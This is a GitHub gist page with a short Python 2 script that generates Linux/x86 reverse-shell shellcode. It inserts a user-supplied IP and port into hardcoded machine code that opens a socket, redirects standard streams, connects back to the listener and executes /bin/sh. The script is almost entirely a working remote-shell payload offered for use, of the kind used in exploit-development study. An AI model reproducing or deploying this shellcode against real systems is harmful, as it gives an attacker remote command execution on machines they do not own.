Last active
January 7, 2019 19:39
-
-
Save AdityaChaudhary/692c2b7b847199001665f5cd76b18c19 to your computer and use it in GitHub Desktop.
Linux/x86 Reverse Shellcode Generator
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Python Reverse Shellcode Generator | |
# Paste the reverse shell code and use command line args to provide port number | |
# python shellcode_rev_gen.py 127.1.1.1 7777 | |
#!/bin/python | |
import sys | |
import struct | |
if (len(sys.argv) < 3): | |
print "[#] Error: Please provide port number" | |
else: | |
ip = sys.argv[1].split(".") | |
port = sys.argv[2] | |
print "[#] Generating reverse shellcode (listening ip: " + sys.argv[1] + " port: " + str(port) + ")..." | |
ip_hex = "\\x"+struct.pack('<L',int(ip[0])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(ip[1])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(ip[2])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(ip[3])).encode('hex')[:2] | |
port_hex = "\\x"+struct.pack('<L',int(port)).encode('hex')[2:4]+"\\x"+struct.pack('<L',int(port)).encode('hex')[:2] | |
shellcode = "\\x31\\xc0\\x50\\x40\\x89\\xc3\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x89\\xf3\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68" + ip_hex + "\\x66\\x68" + port_hex + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xb3\\x03\\xb0\\x66\\xcd\\x80\\x31\\xc9\\x89\\xca\\x51\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\xb0\\x0b\\xcd\\x80\\xb0\\x01\\x89\\xc3\\xcd\\x80" | |
print shellcode |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment